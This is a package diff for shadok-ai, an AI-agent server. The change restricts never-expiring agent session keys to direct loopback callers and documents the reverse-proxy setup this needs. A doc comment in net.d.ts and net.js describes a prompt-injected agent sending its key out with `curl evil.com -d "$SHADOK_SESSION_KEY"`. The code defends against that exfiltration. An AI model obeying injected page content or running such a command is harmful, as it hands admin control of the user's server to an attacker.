shadok-ai 0.16.26 → 0.16.28
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +13 -1
- package/dist/net.d.ts +20 -0
- package/dist/net.js +28 -0
- package/dist/net.js.map +1 -1
- package/dist/server.js +17 -21
- package/dist/server.js.map +1 -1
- package/dist/telegram.d.ts +41 -0
- package/dist/telegram.js +105 -3
- package/dist/telegram.js.map +1 -1
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -228,7 +228,9 @@ Enter to skip; you can add it later from the web UI).
|
|
|
228
228
|
remove it. On send, an image shows **inline in your own message bubble**;
|
|
229
229
|
under the hood the agent still receives it as an `[Attached …: path]` line,
|
|
230
230
|
the same format Telegram uses, so nothing about how the agent reads it
|
|
231
|
-
changes.
|
|
231
|
+
changes. If the agent is mirrored into Telegram, the file is **posted into its
|
|
232
|
+
topic too** — a photo as a photo, anything else as a document — so whoever is
|
|
233
|
+
reading there sees what you sent instead of a path. A message can be attachments alone, with no words. The files are
|
|
232
234
|
served back to the browser by `GET /media/<name>` from the same directory
|
|
233
235
|
Telegram attachments land in.
|
|
234
236
|
- **Files an agent hands you** — when an agent's result IS a file (a report, an
|
|
@@ -518,10 +520,20 @@ location / {
|
|
|
518
520
|
proxy_set_header Upgrade $http_upgrade;
|
|
519
521
|
proxy_set_header Connection "upgrade";
|
|
520
522
|
proxy_set_header Host $host;
|
|
523
|
+
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # see below
|
|
521
524
|
client_max_body_size 50m; # match the server's paste limit
|
|
522
525
|
}
|
|
523
526
|
```
|
|
524
527
|
|
|
528
|
+
**Forward the client address.** An agent authenticates to its own server with a
|
|
529
|
+
session key that never expires, so the server accepts that key **only from this
|
|
530
|
+
machine, directly** — never from the network, where a key leaked by a
|
|
531
|
+
prompt-injected agent would otherwise be permanent admin. A proxy on the same
|
|
532
|
+
host connects from `127.0.0.1` too; the `X-Forwarded-For` line is what tells the
|
|
533
|
+
server the request was relayed. Without it, requests through a same-host proxy
|
|
534
|
+
look local. (A proxy on another host, or nginx in front of a Docker container,
|
|
535
|
+
is already seen as the network.)
|
|
536
|
+
|
|
525
537
|
The client picks `wss://` on its own when the page is HTTPS, so there is nothing
|
|
526
538
|
to configure on that side.
|
|
527
539
|
|
package/dist/net.d.ts
CHANGED
|
@@ -69,3 +69,23 @@ export declare function originAllowed(origin: string | undefined, host: string |
|
|
|
69
69
|
* accident and takes the capability off the documented surface.
|
|
70
70
|
*/
|
|
71
71
|
export declare function browserOrigin(origin: string | undefined, host: string | undefined, extraAllowed?: string[]): boolean;
|
|
72
|
+
/**
|
|
73
|
+
* Is this request from a process on THIS machine, reaching us directly?
|
|
74
|
+
*
|
|
75
|
+
* The gate on an agent's session key (`x-shadok-session-key`). That key never
|
|
76
|
+
* expires — by design, invariant 33 — and it is worth the bootstrap admin, so
|
|
77
|
+
* accepted from anywhere it turned one exfiltrated environment variable (an
|
|
78
|
+
* agent talked into `curl evil.com -d "$SHADOK_SESSION_KEY"` by a page it read)
|
|
79
|
+
* into permanent remote admin on every instance reachable from the network,
|
|
80
|
+
* two-factor or not. Agents only ever call their own server on loopback, so
|
|
81
|
+
* that is the only place the key needs to work.
|
|
82
|
+
*
|
|
83
|
+
* Loopback is not enough on its own: a reverse proxy on the same host (nginx in
|
|
84
|
+
* front of a non-Docker install) also connects from 127.0.0.1, on behalf of
|
|
85
|
+
* the whole internet. Such a proxy announces itself with a forwarding header,
|
|
86
|
+
* which a direct local call never sends — so the presence of one means "relayed",
|
|
87
|
+
* whatever the socket says. A proxy configured to send none cannot be told apart
|
|
88
|
+
* from a local caller; the README's TLS recipe sets `X-Forwarded-For`.
|
|
89
|
+
* Pure — unit tested.
|
|
90
|
+
*/
|
|
91
|
+
export declare function isLocalCaller(remoteAddress: string | undefined, headers: Record<string, unknown>): boolean;
|
package/dist/net.js
CHANGED
|
@@ -109,4 +109,32 @@ export function browserOrigin(origin, host, extraAllowed = []) {
|
|
|
109
109
|
return false;
|
|
110
110
|
return originAllowed(origin, host, extraAllowed);
|
|
111
111
|
}
|
|
112
|
+
/**
|
|
113
|
+
* Is this request from a process on THIS machine, reaching us directly?
|
|
114
|
+
*
|
|
115
|
+
* The gate on an agent's session key (`x-shadok-session-key`). That key never
|
|
116
|
+
* expires — by design, invariant 33 — and it is worth the bootstrap admin, so
|
|
117
|
+
* accepted from anywhere it turned one exfiltrated environment variable (an
|
|
118
|
+
* agent talked into `curl evil.com -d "$SHADOK_SESSION_KEY"` by a page it read)
|
|
119
|
+
* into permanent remote admin on every instance reachable from the network,
|
|
120
|
+
* two-factor or not. Agents only ever call their own server on loopback, so
|
|
121
|
+
* that is the only place the key needs to work.
|
|
122
|
+
*
|
|
123
|
+
* Loopback is not enough on its own: a reverse proxy on the same host (nginx in
|
|
124
|
+
* front of a non-Docker install) also connects from 127.0.0.1, on behalf of
|
|
125
|
+
* the whole internet. Such a proxy announces itself with a forwarding header,
|
|
126
|
+
* which a direct local call never sends — so the presence of one means "relayed",
|
|
127
|
+
* whatever the socket says. A proxy configured to send none cannot be told apart
|
|
128
|
+
* from a local caller; the README's TLS recipe sets `X-Forwarded-For`.
|
|
129
|
+
* Pure — unit tested.
|
|
130
|
+
*/
|
|
131
|
+
export function isLocalCaller(remoteAddress, headers) {
|
|
132
|
+
if (!remoteAddress)
|
|
133
|
+
return false;
|
|
134
|
+
const a = remoteAddress.toLowerCase();
|
|
135
|
+
const loopback = a === "::1" || a.startsWith("127.") || a.startsWith("::ffff:127.");
|
|
136
|
+
if (!loopback)
|
|
137
|
+
return false;
|
|
138
|
+
return !["forwarded", "x-forwarded-for", "x-real-ip", "x-forwarded-host"].some((h) => headers[h] !== undefined);
|
|
139
|
+
}
|
|
112
140
|
//# sourceMappingURL=net.js.map
|
package/dist/net.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"net.js","sourceRoot":"","sources":["../src/net.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AAEH,6EAA6E;AAC7E,MAAM,CAAC,MAAM,YAAY,GAAG,WAAW,CAAC;AAExC;;;;;GAKG;AACH,MAAM,UAAU,cAAc,CAAC,IAAY;IACzC,oDAAoD;IACpD,MAAM,CAAC,GAAG,IAAI,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC,OAAO,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC,OAAO,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC;IAC1E,OAAO,CAAC,KAAK,WAAW,IAAI,CAAC,KAAK,KAAK,IAAI,CAAC,KAAK,WAAW,CAAC;AAC/D,CAAC;AAED,iEAAiE;AACjE,MAAM,UAAU,WAAW,CAAC,GAAG,GAAsB,OAAO,CAAC,GAAG;IAC9D,MAAM,CAAC,GAAG,CAAC,GAAG,CAAC,WAAW,IAAI,EAAE,CAAC,CAAC,IAAI,EAAE,CAAC;IACzC,OAAO,CAAC,IAAI,YAAY,CAAC;AAC3B,CAAC;AAED;;;;;;;;GAQG;AACH,MAAM,UAAU,WAAW,CAAC,IAAY,EAAE,WAAoB;IAC5D,IAAI,cAAc,CAAC,IAAI,CAAC,IAAI,WAAW;QAAE,OAAO,IAAI,CAAC;IACrD,OAAO,CACL,kCAAkC,IAAI,+DAA+D;QACrG,iFAAiF;QACjF,gGAAgG;QAChG,4FAA4F;QAC5F,0GAA0G,CAC3G,CAAC;AACJ,CAAC;AAED,sEAAsE;AACtE,MAAM,UAAU,YAAY,CAAC,GAAuB;IAClD,OAAO,CAAC,GAAG,IAAI,EAAE,CAAC;SACf,KAAK,CAAC,GAAG,CAAC;SACV,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC,OAAO,CAAC,MAAM,EAAE,EAAE,CAAC,CAAC;SACtD,MAAM,CAAC,OAAO,CAAC,CAAC;AACrB,CAAC;AAED;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,MAAM,UAAU,aAAa,CAC3B,MAA0B,EAC1B,IAAwB,EACxB,YAAY,GAAa,EAAE;IAE3B,IAAI,CAAC,MAAM;QAAE,OAAO,IAAI,CAAC,CAAC,qBAAqB;IAC/C,MAAM,CAAC,GAAG,MAAM,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC,OAAO,CAAC,MAAM,EAAE,EAAE,CAAC,CAAC;IAC1D,IAAI,YAAY,CAAC,QAAQ,CAAC,CAAC,CAAC;QAAE,OAAO,IAAI,CAAC;IAC1C,IAAI,CAAC,IAAI;QAAE,OAAO,KAAK,CAAC;IACxB,IAAI,CAAC;QACH,yEAAyE;QACzE,oEAAoE;QACpE,OAAO,IAAI,GAAG,CAAC,CAAC,CAAC,CAAC,IAAI,KAAK,IAAI,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC;IACvD,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,KAAK,CAAC;IACf,CAAC;AACH,CAAC;AAED;;;;;;;;;;;;;GAaG;AACH,MAAM,UAAU,aAAa,CAC3B,MAA0B,EAC1B,IAAwB,EACxB,YAAY,GAAa,EAAE;IAE3B,IAAI,CAAC,MAAM,IAAI,CAAC,MAAM,CAAC,IAAI,EAAE;QAAE,OAAO,KAAK,CAAC;IAC5C,OAAO,aAAa,CAAC,MAAM,EAAE,IAAI,EAAE,YAAY,CAAC,CAAC;AACnD,CAAC"}
|
|
1
|
+
{"version":3,"file":"net.js","sourceRoot":"","sources":["../src/net.ts"],"names":[],"mappings":"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"}
|
package/dist/server.js
CHANGED
|
@@ -64,7 +64,7 @@ import { resolveChannel } from "./update-channel.js";
|
|
|
64
64
|
import { isNewer } from "./version.js";
|
|
65
65
|
import { RELOAD_EXIT_CODE } from "./supervisor.js";
|
|
66
66
|
import { acquireInstanceLock, releaseInstanceLock } from "./lock.js";
|
|
67
|
-
import { bindRefusal, originAllowed, parseOrigins, resolveHost, browserOrigin, } from "./net.js";
|
|
67
|
+
import { bindRefusal, originAllowed, parseOrigins, resolveHost, browserOrigin, isLocalCaller, } from "./net.js";
|
|
68
68
|
import { pctFromUsage, windowForModel } from "./context.js";
|
|
69
69
|
import { BACKEND_PRESETS, backendEnv, backendFor, backendSaveVerdict, instanceEnv, joinUrl, looksLikeMessage, parseModelList, testFailure, testRequestBody, } from "./backend.js";
|
|
70
70
|
import { availableModels, MODEL_FAMILIES } from "./claude-models.js";
|
|
@@ -673,9 +673,10 @@ function currentAccount(req) {
|
|
|
673
673
|
// It grants exactly what the cookie already did, no more: `SHADOK_AUTH` IS
|
|
674
674
|
// the bootstrap admin's cookie, so this is the same authority reached by a
|
|
675
675
|
// credential that cannot age out. `sessionForKey` requires the session to be
|
|
676
|
-
// live, so the key dies with the agent.
|
|
676
|
+
// live, so the key dies with the agent. And it only counts from THIS
|
|
677
|
+
// machine (`localSessionForKey`): from the network it is ignored.
|
|
677
678
|
const skey = req.headers["x-shadok-session-key"];
|
|
678
|
-
if (typeof skey === "string" && skey &&
|
|
679
|
+
if (typeof skey === "string" && skey && localSessionForKey(req, skey))
|
|
679
680
|
return { name: BOOTSTRAP_ADMIN, role: "admin" };
|
|
680
681
|
// A MEMBER-scope peer (an invited agent from another instance) authenticates
|
|
681
682
|
// as a web MEMBER: everything a person you invite can do — see/drive EVERY
|
|
@@ -929,21 +930,16 @@ function sessionKeyFor(id) {
|
|
|
929
930
|
return signSessionKey(id, signingSecret());
|
|
930
931
|
}
|
|
931
932
|
/**
|
|
932
|
-
*
|
|
933
|
-
*
|
|
934
|
-
*
|
|
935
|
-
*
|
|
936
|
-
* CHANNEL and not the `sessions` map, and the difference is not academic: after
|
|
937
|
-
* a restart the server does not re-adopt a web session until a client opens it
|
|
938
|
-
* (`reconcileOnBoot` reattaches Telegram bridges, not sessions), so a tmux agent
|
|
939
|
-
* can be running, executing tools, and absent from `sessions` for hours.
|
|
940
|
-
* Measured: pane alive, `/live` empty, key refused — which would have rebuilt
|
|
941
|
-
* the very cliff this change removes, one restart wide instead of a week.
|
|
942
|
-
*
|
|
943
|
-
* The channel list is on disk, survives the restart, and loses the entry when
|
|
944
|
-
* the agent is closed — which is the moment the key should stop working.
|
|
945
|
-
* The map is still consulted first: it costs nothing and spares the file read.
|
|
933
|
+
* `sessionForKey`, but only for a caller on THIS machine reaching us directly
|
|
934
|
+
* (`isLocalCaller`): the key never expires and is worth the bootstrap admin,
|
|
935
|
+
* so an exfiltrated one must buy nothing from the network. Every route that
|
|
936
|
+
* accepts a session key goes through here — never `sessionForKey` alone.
|
|
946
937
|
*/
|
|
938
|
+
function localSessionForKey(req, key) {
|
|
939
|
+
if (!key || !isLocalCaller(req.socket?.remoteAddress, req.headers))
|
|
940
|
+
return null;
|
|
941
|
+
return sessionForKey(key);
|
|
942
|
+
}
|
|
947
943
|
function sessionForKey(key) {
|
|
948
944
|
const id = readSessionKey(key, signingSecret());
|
|
949
945
|
if (!id)
|
|
@@ -965,7 +961,7 @@ function callerOf(req) {
|
|
|
965
961
|
const h = req.headers["x-shadok-session-key"];
|
|
966
962
|
const fromBody = req.body?.key;
|
|
967
963
|
const key = typeof h === "string" && h ? h : typeof fromBody === "string" ? fromBody : "";
|
|
968
|
-
const id =
|
|
964
|
+
const id = localSessionForKey(req, key);
|
|
969
965
|
if (!id)
|
|
970
966
|
return { id: null, profile: null };
|
|
971
967
|
const profile = sessions.get(id)?.profile ?? loadChannels().find((c) => c.sessionId === id)?.profile ?? null;
|
|
@@ -2571,7 +2567,7 @@ app.put("/profiles", (req, res) => {
|
|
|
2571
2567
|
app.put("/profiles/prompt", (req, res) => {
|
|
2572
2568
|
const b = req.body ?? {};
|
|
2573
2569
|
const key = typeof b.key === "string" ? b.key : "";
|
|
2574
|
-
const id =
|
|
2570
|
+
const id = localSessionForKey(req, key);
|
|
2575
2571
|
if (!id)
|
|
2576
2572
|
return res.status(403).json({ error: "unknown or missing session key" });
|
|
2577
2573
|
const caller = sessions.get(id)?.profile ?? loadChannels().find((c) => c.sessionId === id)?.profile ?? null;
|
|
@@ -2647,7 +2643,7 @@ app.put("/profiles/secret", (req, res) => {
|
|
|
2647
2643
|
// respawn — restartSession tears down the very process that made this call.
|
|
2648
2644
|
app.post("/reload", (req, res) => {
|
|
2649
2645
|
const key = typeof req.body?.key === "string" ? req.body.key : "";
|
|
2650
|
-
const id =
|
|
2646
|
+
const id = localSessionForKey(req, key);
|
|
2651
2647
|
if (!id)
|
|
2652
2648
|
return res.status(403).json({ error: "unknown or missing session key" });
|
|
2653
2649
|
const s = sessions.get(id);
|
|
@@ -2960,7 +2956,7 @@ app.post("/restart-all", (req, res) => {
|
|
|
2960
2956
|
*/
|
|
2961
2957
|
app.post("/files", (req, res) => {
|
|
2962
2958
|
const key = String(req.headers["x-shadok-session-key"] ?? "");
|
|
2963
|
-
const id =
|
|
2959
|
+
const id = localSessionForKey(req, key);
|
|
2964
2960
|
if (!id)
|
|
2965
2961
|
return res.status(403).json({ error: "unknown or missing session key" });
|
|
2966
2962
|
const body = req.body ?? {};
|